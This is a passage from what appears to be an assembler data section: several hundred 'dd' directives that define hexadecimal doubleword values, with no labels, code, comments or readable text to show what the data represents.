0F62D92E3h, 71FB268Bh, 5FC93C47h, 68083267h dd 0C14E1FBDh, 0D92217CEh, 0A9D08311h, 0B0A080Dh, 0F7F6DC0Ch dd 0CBE1407Fh, 8C4BBD1Ah, 389824B9h, 7A5D94AAh, 231D6435h dd 0AE7512AEh, 0A55EBFD1h, 1678D580h, 0D5F77490h, 229FFDA0h dd 0D8BC6382h, 0A071A953h, 2F401EA6h, 0FC782B5Bh, 7FC64F67h dd 0B4C2F4E5h, 29B24861h, 270E98D0h, 6AC6C9E3h, 40A0BD5Bh dd 0C8CF9953h, 776319F6h, 96A56AC3h, 4B2841EDh, 0C2315909h dd 81B76916h, 60531D8Ch, 0F723002Eh, 64C40DD0h, 40483D00h dd 0EA4D7C05h, 99314F5Bh, 0DB6340F6h, 1EB8CD05h, 74C2435Bh dd 65117752h, 10502966h, 0A94B79BEh, 0E2A089ADh, 4DD17F63h dd 20485FB6h, 0B9011802h, 5B982DBFh, 0D82ECE29h, 0EE5CC122h dd 4DF6022Fh, 610DDE69h, 9E4D2FE9h, 0CF63FE2Bh, 0F68D5878h dd 0F7743513h, 5F6169A8h, 0E5C87CD9h, 0F7658938h, 74FF001Ah dd 0BD3E3370h, 0F20433DAh, 28FB589Ah, 4187187h, 0FB6B9D68h dd 8207D3D8h, 6CE29DC0h, 0F8D81895h, 932CB7E8h, 9096B62Ah dd 4BBD0F4Bh, 0BEAD2007h, 517AE19Dh, 20F08C67h, 0D13BC4B1h dd 0E7E2AB5Ah, 81E1E789h, 60B9C751h, 81BC6FE1h, 0BB545285h dd 0EACB00B3h, 0B766B4FDh, 0E5E97C38h, 9656DD59h, 0CD1017A9h dd 0CFBD00A1h, 81109D5Bh, 3DF05F5h, 0E8292CD2h, 775D5A2Eh dd 4127ED42h, 1B9AE07Ch, 29FCE9BFh, 3190272Ch, 70F5142h dd 0E90B1194h, 7EFB7DF4h, 0F0F51ADh, 0E1FF7877h, 1BC42E12h dd 5A00CFAFh, 12B03888h, 0FB462128h, 11BE1B00h, 98486502h dd 23F6053Bh, 0C068630Dh, 0F7584623h, 3BE83B4Ah, 8C5080A4h dd 21608845h, 0F43F9A2Ah, 0F10130DEh, 6899C11Eh, 0F952693Fh dd 0F74DE938h, 8FB470FFh, 0CC40BB41h, 4D82AD4h, 4F1C2D41h dd 0A0D0BE31h, 0BF5F5E57h, 1E8EA380h, 0E9124932h, 49AD9209h dd 93FF848Ah, 0BD030052h, 0BA65297Fh, 20020F09h, 0E9F8024Ah dd 2727D68Ah, 18483C5Fh, 50EE1EE9h, 0F995215Ch, 0CA776B18h dd 1771F776h, 0FA94E465h dd 25E502FFh, 6E7FEF30h, 858FA1E1h, 4B80D922h, 3D68DBF7h dd 44270E67h, 87F280A8h, 2154F027h, 2BBF0BBDh, 0D59E068Dh dd 39F19770h, 2341054Bh, 9BB5FA0h, 666F6A0Bh, 5A7422FFh dd 795F0972h, 0C08D8B06h, 3C6647Fh, 327B1929h, 44CD8F7h dd 4B15168Fh, 580307AFh, 7C68DB89h, 5C802EA4h, 9599EE61h dd 78C5F6C2h, 80C2B241h, 5C09DC8h, 59E907EAh, 5F24A450h dd 9C4669Fh, 59646852h, 7FDAC074h, 0ED199E94h, 9DA22B1Ch dd 0D2EAEC6Ah, 0BE0885ABh, 20A822D0h, 17C229Dh, 0CA46CF8h dd 90385B90h, 7EBD7062h, 0C825AD8h, 0D4D452E9h, 0AE004113h dd 44DD62CDh, 0A689A21h, 84202F1h, 0A2A609F1h, 88262F64h dd 0FEC75DD4h, 0B25253B1h, 8000C0CDh, 0C2F813CAh, 320E04D9h dd 17F7F2E8h, 0AE5AD388h, 2AE9B602h, 94C5236h, 0B6090AACh dd 0AFEF5704h, 48A01849h, 12C2F2D6h, 0BA95BEE7h, 0ED83D205h dd 0D14E90B6h, 34A37217h, 3B9E74CDh, 604AF460h, 0AF5E5A05h dd 0AE66414Bh, 4C4F9275h, 0AA38C402h, 0E5CB88EAh, 4438E17h dd 160812E0h, 2094EFE9h, 0B16E904Fh, 0E1C10A4Bh, 68006948h dd 7D1779E6h, 7DD0590Eh, 4F92C63Eh, 2D8E8FBh, 0CC241BBBh dd 9D72410Eh, 572C4A63h, 502F0B61h, 0F70C0574h, 79890F99h dd 0E90125FDh, 0E697F314h, 9281BD18h, 0C2736568h, 3FA6C5F7h dd 0E39B349Bh, 0C8C19C03h, 0E98EEF83h, 6328E63Ah, 4301C148h dd 685B7119h, 34A9794Dh, 7980AF3Ch, 5FAD3B16h, 0B669FE60h dd 0E5F91A74h, 5081BA04h, 53EEFC68h, 3B64105Ch, 1D1D3657h dd 0E05D4FECh, 0BFF85562h, 59B78A70h, 96F5CB5Eh, 693EBC6Ch dd 0EE86B792h, 70B55FA4h, 0C1AB949Ah, 0E670E953h, 0E281A591h dd 2CF36A7Dh, 5E9AA2BCh, 4077EAABh, 0E865A8C2h, 257510A3h dd 0FAC10AA3h, 2F17CC81h, 0FD0DE125h, 821F5923h, 0DD0956C0h dd 198B1C9Ch, 966C5DB3h, 7F4E6FB0h, 0E1C421ACh, 4FE4BA5h dd 0CF9FB5Bh, 7631C205h, 2D4FF061h, 0F96AEA2Ch, 7A931C30h dd 0C1081B6Dh, 839882EFh, 615B3F63h, 0AE76FE4h, 729123Ah dd 0F3400E2h, 15E92B5Dh, 0D8716B61h, 7DE5505Bh, 0D434F82Eh dd 8DA510ABh, 3AD04D28h, 0D8F2738h, 821CEDD1h, 164E5B32h dd 0E80C88D5h, 68641209h, 0B7E2CCE2h, 8EB9068h, 79C51C50h dd 0F9582D40h, 97704EDCh, 502B87C8h, 5F875D82h, 0C949F756h dd 23AF2E7Bh, 2DCA8EDh, 860055Eh, 0F7D410Dh, 8EEEA5D8h dd 0B65C50CCh, 0B2B0C2F6h, 40D89548h, 354E41F0h, 0A4D8DFFCh dd 729482B8h, 10CE088h, 2F3D3B05h, 62B2D424h, 264F63Dh dd 2E752333h, 521F5C5Fh, 21685810h, 6A306513h, 0E9824CA8h dd 24C78D6h, 8517C95Fh, 397004BFh, 6EBF9ADh, 3E5366Ch dd 2E0F090Ch, 425546C9h, 0C080D12h, 0C38B1405h, 8DCC3A60h dd 0D6BFEED5h, 6E986D3h, 0C14B67E0h, 3F6B64FDh, 543F3AA2h dd 90BDEC5Fh, 4B145DE3h, 0CA96EA30h, 235C1064h, 0FDF203E5h dd 771956h, 0D95CA918h, 0E9DA876Fh, 57FCBB4Ah, 7FCF30A1h dd 7D808634h, 4FF102EAh, 74A9C044h, 0E9133CBEh, 0C6E36CCBh dd 0F5998A15h, 0D1F7CE0Dh, 91632008h, 18216202h, 566850E9h dd 80DD527Ah, 414AAD64h, 0BC9FC57h, 50716CB4h, 5AFEE680h dd 72B50A01h, 13D31659h, 462405FAh, 72CCE40Dh, 5CB65280h dd 0BA2A786Ch, 9585A4Dh, 94DB5F5Eh, 66047909h, 0BD412456h dd 0DE3DC200h, 1209B60Ah, 754409E4h, 15F880B0h, 0BF49CC26h dd 975D403Fh, 0ED40C89Ah, 669D7D15h, 1ACA291Dh, 0C471133Bh dd 7141EA7Bh, 0A61435Dh, 37D0120h, 29FC5E2Dh, 60959CFh dd 0E60FA7E9h, 7C9B2093h, 7F375E5Fh, 0F44153C2h, 0B5ADBBECh dd 0F0307AE0h, 4E445A58h, 0C6A0FA13h, 5B7040B0h, 0B236D8BFh dd 270F5D37h, 1E4A9870h, 0AD2CE828h, 25B9145Dh, 197E5B54h dd 0A422B0D0h, 0D0397F4h, 0FF853AA2h, 0ED7EED99h, 8EFB9719h dd 235724D5h, 0DC41F409h, 33C66015h, 59585CA1h, 177E5867h dd 42A3A953h, 575E5880h, 1E970168h, 0C92148BAh, 129F518Ah dd 35EFF0F5h, 0D87AF00Bh, 2F3FD05Ch, 78F1ADA9h, 6281F9EBh dd 5804F41Dh, 934180BBh, 2F5F9110h, 9A5174ECh, 9088C1D6h dd 0AA011996h, 86B46997h, 0F45C7392h, 6468502Ah, 5E305517h dd 29A0BBAh, 2BF44800h, 0E1B519CFh, 29650835h, 165E340h dd 0C26A5C8Ah, 1B9A5632h, 52CC10F7h, 374513BAh, 0AA00EF8Dh dd 3FE4190Bh, 6BAA38E9h, 0B460E85Fh, 0F6BECF81h, 0A03BFB75h dd 0ECE791E8h, 489581A7h, 3C2EE60Eh, 0EE800B8Ch, 112D1833h dd 39DECDE9h, 24C6E6DEh, 0F224421h, 1F7967B9h, 5835C681h dd 0AAC74156h, 81566EFFh, 0BB0027F9h, 7F931106h, 1F8DE21h dd 0E989674Eh, 9F7826E1h, 6B67BE5Bh, 4C9B67D2h, 0CDA62FA8h dd 610D2EF7h, 5FD11CBDh, 0A871A265h, 0E491E83Fh, 0E98226E2h dd 947F105Ch, 8BB7309Fh, 2F96C317h, 97309B3Dh, 0E8CC41F0h dd 135A126Fh, 0D68BE84Dh, 22BECE57h, 0B488A4Ch, 60EE4DB5h dd 0E5A5B854h, 0C069150Ah, 0AE2EF216h, 1F20FE88h, 5C054268h dd 0CC05A34h, 0D34C25FAh, 843017D2h, 76A40221h, 46EE9181h dd 2E366721h, 580B1562h, 2059B020h, 6816C28Ch, 118C429Bh dd 3D484B57h, 0CB9220D7h, 4BE90B40h, 582E0910h, 0F25B8BFFh dd 30FB487Eh, 0CDCDDB13h, 0BE768BC4h, 0E77E224Fh, 0A2664307h dd 99967593h, 540B6A5Ah, 3D665F5Dh, 0F95EF327h, 2336816h dd 7AE5E957h, 0BF57609h, 4B50D7F6h, 4E9750F0h, 835B9DB8h dd 0C5E9C631h, 88BA1DEBh, 0C3CAD5EAh, 9C082C1Ch, 0FF01211h dd 5ECA6A98h, 1A9A4BAh, 0D69CC0C7h, 104E2CEDh, 0AFB4E831h dd 6B0191BDh, 25674B70h, 4EBDC06Eh, 71D4F8B5h, 2D480540h dd 48034FDh, 148192DCh, 6922198Eh, 982A5E73h, 49ECE69h dd 0C114D527h, 0FCF02125h, 1276CA33h, 0D76DBD54h, 5C12B925h dd 510340BAh, 4D307668h, 0E9593A26h, 7E40D61Ch, 2BE958E0h dd 1293BFA5h, 6F1A12C1h, 6EFF7C44h, 1F958817h, 0C195282Eh dd 6E1ED616h, 33FBC612h, 0FFF4EBE8h, 37942737h, 0AE3F12AAh dd 0D135C2B6h, 5D6005Dh, 11A863Ah, 1DF5E3EDh, 57B14B08h dd 7C959D5Eh, 0C2277B8Bh, 5AF6FCADh, 4B0F71h, 777D7AA9h dd 78CE903Fh, 13799CE9h, 2882EA30h, 8CE64307h, 5C85190h dd 0F83A029Dh, 0E8685912h, 0FC6908FCh, 40370027h, 20E9464Fh dd 9BCC104Fh, 0A25A4F80h, 901F2272h, 0C103C488h, 840A81EFh dd 5D3102CAh, 7F5B1410h, 344E647Eh, 0FD29FEC2h, 9B126ADBh dd 0FE5B15E8h, 0F0E9CC6Ch, 254BA420h, 643216D9h, 0BFFB508h dd 64FD8B2Eh, 6C880FC3h, 8FAB230Ah, 0F2E961E3h, 0C2902A5Eh dd 0B01525B1h, 8F4F30FAh, 2326BA20h, 2C03883Dh, 0FCA0DED6h dd 78A93A55h, 0E17B5C8h, 0FB48D18Ah, 88290112h, 0D2F035Bh dd 0C524747Dh, 0D8E78056h, 265A9D3Bh, 0A81019EDh, 8BBE3A82h dd 50426372h, 31D61C18h, 8F198CEh, 689DD987h, 971C8B99h dd 5FD88DFEh, 425EB47Ah, 1C63DCB5h, 80A2B3B0h, 3ACDEB38h dd 9EC3BAD3h, 0D86E285Ah, 431E485Bh, 2160A62Fh, 38037AB9h dd 0C9817146h, 524EA876h, 45C22768h, 61FE7466h, 9143C09h dd 90278D9h, 74EB76C8h, 1C6A6156h, 95093602h, 0C4AD503h dd 1269CAC0h, 0F780D3BEh, 0BF24DF6Dh, 6897070Fh, 0C1EF81E0h dd 2E117E4Ch, 80BB3D4h, 2C40158h, 4CB4805h, 0CA2D0F6Ch dd 4032F932h, 68125F08h dd 38BE6748h, 1D4B872Dh, 90592788h, 27F6F4C4h, 0F182F5Bh dd 1400E0BEh, 0CE8117DBh, 4B5848F7h, 2BA9B11Ah, 0DE049DB2h dd 81D4E5CDh, 31140B51h, 36503E15h, 256D5808h, 0A4C4D3A2h dd 2D5C2D9Eh, 1935025h, 0E0628CBBh, 23DE0978h, 2EE9D202h dd 586B6F10h, 69B04EFh, 0C02A01h, 1B0A20h, 0B7F68154h dd 90FD471h, 16CBF74Ch, 4BD27791h, 83B34959h, 0E214ADCFh dd 698F14AFh, 5E7F01ACh, 0A1E90FF8h, 5A3A1628h, 0EAC5CF16h dd 0E9FE9970h, 8C134952h, 3AA0F602h, 60D5E887h, 67F11DBDh dd 420A0C5Ch, 5E5D6477h, 0D00820EDh, 0A462140Ch, 27DC5B0Eh dd 9A4162h, 0DA31D3F7h, 6009AFE5h, 5D7CFFAh, 89E9FB86h dd 48856A3h, 0EA2E1106h, 314ABECAh, 2FD92122h, 87732461h dd 0C8461A98h, 624230Ch, 0D6254068h, 2C91A6D1h, 23D1AFABh dd 0E6685841h, 0F660AB2Ah, 9C9361E9h, 0A9F6E9ADh, 486E7752h dd 0FD74C4C4h, 79C7A2BFh, 5FAFBA49h, 0CF0F8BA8h, 5DC7800Fh dd 0F5AAE453h, 7CFBD9EBh, 6283503Ah, 0BF2E5A41h, 0D829FD40h dd 3728BF2Dh, 76A410D5h, 0BE1E30F1h, 0DA3D02C1h, 0B0546E0h dd 43EC6F85h, 0FD64E948h, 53C376BDh, 8C9F8217h, 2BB175D1h dd 9ADB62E4h, 5CF25FE0h, 0C643D40Bh, 0D677EF81h, 0C10204Eh dd 55133305h, 4BBAF2E9h, 86689897h, 12B79CFFh, 0D4B50B1Bh dd 27C6AB5h, 2E3C1467h, 420562F7h, 2D185AEh, 8551CBB8h dd 0BACF9D13h, 18E17EB8h, 0B0502280h, 84FB77Bh, 0F4205B04h dd 77DE13C1h, 7F5410A7h, 0C0FBC507h, 0DDF60851h, 8249F360h dd 4CFF4B77h, 0E77697AAh, 8CEA3084h, 1002BC88h, 0B705ABA8h dd 0BFFA20F3h, 0AB8690C4h, 0C022B006h, 2C050428h, 944FE948h dd 0F2BFD684h, 7FCB9FB6h, 0CC272044h, 0F4561462h, 954F70E5h dd 0B7051BDFh, 9526B6C0h, 5CF1F86Eh, 603DB119h, 7083C4A7h dd 0EC90E530h, 970FB652h, 0E49EC680h, 788C9FEh, 127E2A6Ch dd 2E624A7h, 59D7038Dh, 0C242F25h, 5613C468h, 0A0BD7601h dd 0CC6E305Dh, 0B96FD7Dh, 654ABF02h, 0F7F68011h, 9DEC1378h dd 0CEB1BDD8h, 2F9FAB08h, 0AA9BF950h, 0E5EA7235h, 6F5E6A85h dd 0B021AC49h, 83723F15h, 38B6A8E4h, 2FE83E5Fh, 3CF2BADh dd 0D1D60916h, 56396BE2h, 8138BF24h, 0F028A604h, 6166D12Ch dd 0F4CE209Ah, 0AB9A940h, 3F6534C5h, 0D33302B2h, 0CEE10B7Ah dd 0BD5FAE22h, 49193002h, 5470403Dh, 41E52618h, 7482672h dd 704B1BB6h, 3E60FFCBh, 6E7D20EFh, 1C425E02h, 7292BE9h dd 285650B9h, 2A900934h, 1EA831Eh, 0F60C0B66h, 0B75E2489h dd 414FC1ECh, 0D6B07845h, 13E3F0B4h, 0FA5F0B6Eh, 1C102E52h dd 36A2670Ah, 0F00DFF62h, 121A9737h, 1ADAE8C2h, 704ABA27h dd 554DF6DFh, 2A40C48Ah, 16910206h, 0FACE0108h, 0EC4BFF9Bh dd 0B3465BC4h, 5816AF47h, 0F64ADD5Ch, 9EF94A84h, 0C72C302h dd 0A8DD66E3h, 0C3308E9h, 4CB01F7Dh, 0A57A24E9h, 9771489h dd 7896D75Ch, 1026B69Ah, 3F8E2F78h, 5E2F5E38h, 3B40B965h dd 0FF8917C9h, 22FA465h, 0AF9D403h, 16D11C99h, 0EB8F07F3h dd 6A4EE285h, 72E9A6DEh, 0B8CA02A3h, 0E92F3820h, 694A2F42h dd 0EE4AB985h, 0DDC8BB4Fh, 2D1CCE18h, 4A7D7228h, 0FCAFC99Ch dd 0A0B9183Dh, 28035625h, 83272644h, 0FDCB96CDh, 0AE0884F1h dd 1AB5BE12h, 9728F22Bh, 95AE9D1h, 2719F63Bh, 2AA265Fh dd 4F063006h, 8E27867Ah, 14E90E0Ch, 1AD2415h, 267A4405h dd 6864681Eh, 0AFE91324h, 1C3FA1B1h, 80C30EBDh, 5806314Ch dd 20E60D95h, 4297D6Eh, 3CF0FF52h, 0EEFC9559h, 2DDB2573h dd 3024CDF5h, 437FBA4Fh, 781BD22Dh, 13F776A8h, 801EE957h dd 1518BA78h, 83F420FEh, 6035E55Fh, 0D0D8A2FEh, 57AD25C5h dd 0C8301546h, 57C3E3BEh, 7B8E127Ch, 3C10BE01h, 5D0C6B08h dd 25E088A8h, 8731B76h, 12C168DBh, 0B38BE905h, 0F75F8740h dd 0E4F931D7h, 108DECFh, 0FCBD55D1h, 20ECC1F6h, 0F993736h dd 8F7D153Bh, 9DCA1FB7h, 0F57AF7CBh, 79B9B2A0h, 9098692Ch dd 7EBD479Ah, 68A8D07Fh, 4CEDE3C1h, 94303E37h, 0B83912C5h dd 0E90804A9h, 3532BB33h, 16BE5C8Fh, 1690CB5Eh, 81534F2Ah dd 7853AECh, 88A32067h, 3D4BF469h, 0A9C4E7C4h, 1C9353B8h dd 262EA4BBh, 7FDC08BEh, 5268590Fh, 0FCE56F5Eh, 2820AB8Dh dd 59260940h, 0F20E4761h, 2870BE73h, 4F118ABEh, 0E62AB0B7h dd 0BA4F4266h, 2F6BB681h, 780139F4h, 587C0A7Fh, 0D4CDC93Fh dd 0F505808Bh, 0BFEEE983h, 16B5A3EEh, 7CB9377Ch, 2502B494h dd 52209C62h, 1F21E58Eh, 804D4BE0h, 701DCD1Ch, 12563515h dd 0A13E33A0h, 0B7E12BB6h, 0BA2CD0D9h, 0C676B779h, 0ABF8A256h dd 7F0175AEh, 6F4D044Bh, 83C952F2h, 0DC5B6084h, 7D41501Fh dd 3C202731h, 5BD9975Fh, 18596789h, 0FBF5701h, 7911043Eh dd 0ECD5FA2Bh, 405F85h, 6DEABB54h, 0FF9543C0h, 8403D402h dd 56648FECh, 2DEF5487h, 0C2D16850h, 714DBE68h, 0CE18165h dd 2C310321h, 20F922Fh, 16EF1787h, 1B132173h, 970474A2h dd 41856000h, 7A9F6ABAh, 392EBCBEh, 61132DDCh, 0CCDE43A1h dd 2991C4F6h, 99764C1h, 4BDC5F16h, 0CFEEC716h, 0E90C6192h dd 936F4C7Ah, 0DC825D0Fh, 54881675h, 0ECAC86C7h, 27FB94CEh dd 4D24854h, 47B757D1h, 29773069h, 4C1102F2h, 5856027Ah dd 3720DB52h, 525B2DA3h, 16963457h, 5D8823E9h, 37648907h dd 44ADB551h, 5197FC9Ch, 0F56E5796h, 0DFEBEFAFh, 78011625h dd 497D2DA4h, 85AC4AE5h, 2C97E70Ch, 0B6381EB5h, 11D649D1h dd 253B9577h, 0C2799A75h, 8E6D7EA9h, 38E4BDF1h, 451FEF31h dd 660B3A89h, 3AAB034h, 61CA3B36h, 13E02DBEh, 7FB82977h dd 751C3EEDh, 0ED4813FCh, 2BDD1209h, 20B5F2A8h, 0F8A0732Ch dd 39B40E05h, 408FD97Ah, 0B142E95Eh, 12148A92h, 69D7EE53h dd 0C1A1FA28h, 7211CA48h, 70A12E6Dh, 0C5BA0705h, 59D1FA0Ah dd 762C88E9h, 645C2D75h, 4EAD75A0h, 292CCC25h, 575A42C8h dd 45922222h, 0F40DC60Ah, 9379D11Dh, 0B9884A02h, 565709B1h dd 552B05E2h, 0CEDBC028h, 965C65BAh, 72D6101Bh, 4BE7077Bh dd 6730281Bh, 0A34711EFh, 0E33A8131h, 21106F71h, 0DF67E06Ah dd 5B4E4F90h, 545827A2h, 14E784h, 0C2EFB8BBh, 3A0A9DADh dd 0B1680078h, 5F38CE2Ch, 28F8475Bh, 0F34B4C71h, 61B22D12h dd 0E44FB130h, 0BA5D6816h, 0D8E909CAh, 896F71AEh, 0B0D1BEF9h dd 8AAB5016h, 25AF4CE8h, 5CE1C253h, 0AFBA08A9h, 0E53DCC20h dd 7E5B0914h, 7826C2F7h, 1DDCB700h, 93CD74Bh, 0DBFFC68Ah dd 0E9564019h, 4CBDD270h, 25C121D3h, 2AD05FBCh, 0B77556E9h dd 65BFC5EEh, 0AF7EA7A6h, 0CA633F42h, 0E34FDADh, 0B72F6120h dd 0D89D5E40h, 0F12ECFFh, 38C7C7D6h, 1A98D94h, 10361611h dd 2E7AE42Eh, 0C61E5699h, 48017B02h, 54576B2Dh, 606B2988h dd 0A8CFE9E4h, 0BD6D92h, 1015F37Eh, 4AC9FA1Fh, 52732118h dd 9D04354h, 2DC7C103h, 512CB13h, 0A24A0B0Ch, 0E98C454Eh dd 5CD1E0E1h, 77B92D5Eh, 72A36809h, 0DF3D9857h, 5C7CC4B2h dd 47F6EE05h, 0FACFEA96h, 0D84A2659h, 0CE82D97Bh, 6E210049h dd 8CBF0B6Fh, 0E9EE1401h, 5F13CA5Fh, 4F7B15B3h, 0A3D01628h dd 8468156Eh, 94E90CD1h, 67290A2Bh, 0B25D93EFh, 6DA27F90h dd 0A7F61D68h, 0DAC35427h, 8562D35Dh, 0C0DD2613h, 0D9F1C626h dd 0D8B22227h, 0E9570919h dd 8E233E78h, 0ABC2C731h, 0FE07B85Eh, 483C0C1h, 30B3A980h dd 9F10FD2Bh, 0C9B1A793h, 0A7BE8815h, 76596F6h, 6DBD8D1h dd 3E30F9A4h, 6ACB79A6h, 1F6A025Ch, 827D5619h, 0D9B44CCh dd 29E2FDB8h, 9DF25849h, 29CEF380h, 5CC16DF5h, 54173BEBh dd 537D3069h, 0B6A87FE9h, 44165ABAh, 0A90026F5h, 1FDC72C0h dd 0AC0EC142h, 0F4F73F9Ah, 30135AF2h, 0ECA5310Dh, 2D72B4FCh dd 0EB783377h, 0F9F7D173h, 0AAC43034h, 9D471CB5h, 445A8A51h dd 970B7215h, 4492AC9Ah, 59F8BC1h, 4C7E9486h, 7905B205h dd 0C243801Ah, 0A0F5C496h, 2A7250D7h, 78F0EB42h, 0FA194BFFh dd 3D55BA88h, 3162DBDh, 0F9500717h, 8109254Eh, 4A6F76Ch dd 0DBEF2F80h, 45762730h, 41C7AE61h, 0B0BEE908h, 33D44C8Fh dd 7D7E5842h, 6708B900h, 7E5C177h, 0AAFC5EC1h, 0B46E1F38h dd 62D7D571h, 0F47D9DAFh, 0DF92FA9Ch, 5AB85277h, 6CBF4AB2h dd 8C6A9757h, 4B13D0DDh, 1FDEBB59h, 517EA460h, 26DC3BEBh dd 1CE86C04h, 83A3D6C1h, 146067A5h, 3BB38F60h, 0C1522D17h dd 50102AE6h, 32EC5E78h, 0E80BF225h, 0AE391B45h, 0A5025EE6h dd 74628E32h, 5C4E4031h, 60B527E0h, 4AFC4530h, 219AC75h dd 0E9441F67h, 0A45E5571h, 6833E149h, 0F32F3CC9h, 0D9862793h dd 5DE9845Eh, 5070B3DEh, 0CF403D98h, 8BED2F80h, 0D00F2774h dd 19C504E5h, 0D2DC590Fh, 0D0F37749h, 0D0EE9CBh, 635C51B5h dd 5776A002h, 0D14C24B8h, 0CEFB7517h, 7797E1D8h, 159EFC34h dd 85FB025Ah, 4C21F929h, 5840A41Ah, 38F26931h, 10785201h dd 800C8146h, 0E941670Eh, 6D9DA6CDh, 0A05BD6D1h, 0DC955E86h dd 3058608Ah, 2227E9F1h, 0AEA12072h, 0CB2FC66Dh, 19E67936h dd 6CB27597h, 1B206244h, 0C2282F86h, 0C0583E00h, 0DFE708E2h dd 5E4DE998h, 9713F997h, 29D5FE54h, 4E7E1EA2h, 59DEF6ADh dd 80558935h, 942C4788h, 8AE91632h, 2E0B218h, 5A3541C5h dd 0F5F46036h, 3F8220CEh, 7ECAB8A8h, 7ABAE3DDh, 317BEE75h dd 21503594h, 0BD5A48D7h, 50A15827h, 60050932h, 7217F2CAh dd 0F2026265h, 5D29E9D3h, 4F8379D6h, 93B4255h, 0AB71D464h dd 0B40BA0F0h, 4EB77Dh, 0D01C9846h, 3B7B9F75h, 155BDAA0h dd 85C38390h, 9DB97C5Dh, 7D1DF182h, 2264EC7Dh, 0B824742Ch dd 66F91A5h, 4D1028F8h, 307909ACh, 0EACB6757h, 25201DB8h dd 56A70932h, 18773CA9h, 626DE90Bh, 5E8D5B82h, 5B70105Dh dd 0A52D4C5Dh, 43AF669Dh, 0BCA495E9h, 1BF2E632h, 9A6D7EC8h dd 0DE5FD485h, 44EB4E92h, 12FD7CF8h, 916979A1h, 7A75F605h dd 0D6B8016Bh, 6F035463h, 816B9BE1h, 55A4C9Dh, 74FA9606h dd 8FB84842h, 0FC5BE44Ch, 8CBC12D2h, 7EECE629h, 6ED99F7Fh dd 13BA0C92h, 0CF09AC9Eh, 79AF5F68h, 26E44851h, 297F0044h dd 96E91A0Eh, 593EC264h, 0B0A452F8h, 56276843h, 0CFF05E5Ch dd 91488D46h, 1E12175Ah, 0E59F80FFh, 4476C42Fh, 10D0EB1Eh dd 0C31D1FD8h, 0ED133196h, 1750EB6h, 1AA7EB01h, 0CE0AA257h dd 0E22CCA73h, 10C45CEFh, 9A5876h, 7431A1EAh, 9FD00119h dd 14A5C745h, 0C0AE4BC7h, 1EFC68E0h, 40C266ABh, 80F3AC91h dd 80B22D65h, 0B6013AF8h, 20F509BEh, 4CEA12DDh, 4C9EFC91h dd 4D23E1Ch, 9DEB2B5h, 264D5C4Fh, 82BC0ECDh, 0D17E76E9h dd 5C5A5C66h, 0D3813A02h, 3148B004h, 37322ABh, 9A73FEF3h dd 452BD963h, 2EFC000h, 66D7F600h, 205CB652h, 631EDF7h dd 27BFD8DAh, 22A2EF31h, 0FC09712Eh, 8C171665h, 4213BE37h dd 4AB22907h, 12211011h, 5203C1EEh, 0E9C60120h, 1B8114A6h dd 0E681CE3h, 92862F44h, 80022AA8h, 88D33D92h, 0E994455Fh dd 0BD1BC40h, 0D96DD768h, 6C2B8232h, 8240715Bh, 0A7DD7E95h dd 42902A8Ah, 4F01EA02h, 470BDF0Fh, 133036C5h, 0B30BADE9h dd 618D09ADh, 0BCD7BBA5h, 7F358130h, 0B12E08D8h, 2DC07E89h dd 0B55B1BA0h, 70008509h, 773DC981h, 9605F03Ch, 0C2B2110Fh dd 0E6F7598Bh, 0C7C10171h, 13D1050h, 271120E9h, 33B60912h dd 0D4353881h, 5F8C6070h, 0EEFC3012h, 6F7D470Ah, 8817535Eh dd 412FE7E0h, 0CAF260CCh, 0B90182B6h, 364125C0h, 0D02BFC71h dd 15E5EFF0h, 68122A09h, 0A5FFF603h, 59E9CE7Fh, 5827D5F2h dd 0E3603579h, 5FA3FE9Eh, 30748229h, 0DC2DEEDCh, 4CDE1E8Dh dd 0EB73F0F9h, 1B15DB0Ah, 4700FC1Ch, 0E9E0C3DDh, 251092A8h dd 32775456h, 0FCE9D7A4h, 0AFA96050h, 0C94D6660h, 5BEF33C0h dd 7C01BB7Bh, 733837FAh, 0F603C742h, 0E38C8757h, 0BA09956Ah dd 8BFF01D7h, 0A04BD655h, 234CA0E7h, 2E71739h, 1018ED53h dd 0BB3B94B6h, 2FFB47D0h, 67D43389h, 587034C4h, 20F557F7h dd 216CE11h, 17BE7B75h, 3061FA67h, 0E95808C7h, 40491659h dd 0F381FF38h, 20F04781h, 0F03B5F75h, 3F026BEFh, 5C686634h dd 8BD9717Eh, 0B1596197h, 0A60B163Ch, 48CB423h, 0E3C17D30h dd 2D36AA04h, 435B24C6h, 8803023Bh, 48774540h, 9AF29551h dd 0E8C113A6h, 1A04AB0Ah, 0F9353AD5h, 92DA268Ah, 443271ADh dd 0BDA4C851h, 9558B940h, 0E961E273h, 0A87A9F26h, 6A8BDE2Ch dd 0E989D461h, 0E30A15DEh, 0F04BE57Fh, 30F09822h, 81457597h dd 7F171250h, 0C006E6C1h, 82FD7C3Ch, 947AF7BAh, 68842F96h dd 35D86E72h, 0F62300FBh, 0FE11355Bh, 0E912FF21h, 0B5FA5F1Bh dd 3B7D20F5h, 15EEE597h, 8002F0E4h, 0EB28ACEDh, 0E1F7004Ch dd 0C5E86F42h, 0B006CA75h, 0E9FF12A6h, 7E0D89D7h, 9FE2DE4h dd 928D00DAh, 0B870BB39h, 62FF0BE7h, 0FA05256Ch, 4C52AFC9h dd 170DE2BAh, 90AB5EF3h, 0A74F4B62h, 7124765h, 7B92B90Bh dd 0D25E17E2h, 0F2901EEh, 6EA38282h, 71BE619Eh, 0BF578350h dd 2F7F74C3h, 7FE12914h, 7D0BCA18h, 3541C70Bh, 12C2C3Bh dd 670DCEBBh, 0C7212977h, 8327356Ah, 0C12DF6F6h, 0CF3ED4E8h dd 0AAAB6CC4h, 8B8BBCBDh, 50A83D8h, 0C5156099h, 0F7A0DB0Ch dd 4087B0D1h, 69FA9565h, 0DEB78DB2h, 0D4205B7Ch, 0C281039Ah dd 0A01AE59Bh, 6EAF0C04h, 9FA3C48h, 9D60737Eh, 0F8248859h dd 0E35B715Bh, 0D2EFF2C5h, 6A4B73h, 3833B89Dh, 578619Eh dd 28CB03DFh, 0F33AA2E1h, 0A423AF75h, 32D42EA9h, 76F0D1AAh dd 80138991h, 0DAE487C2h, 45BEA57h, 72E38841h, 599E6718h dd 0E3C53C86h, 0A9B8967Dh, 0FE025C89h, 0BA755902h, 54426001h dd 1CF595FEh, 58E82001h, 9AEF8028h, 0C775E775h, 3CB8667Ch dd 7E1A0769h, 28B30774h, 59EE87FEh, 0D32C0FF2h, 1FA46395h dd 0B8505F07h, 0B10A4513h, 0E0B5E940h, 0E58AFE20h, 79B4BAD2h dd 6BE44146h, 0B3FFA784h, 0A6882B0h, 0B521D13Ch, 73360064h 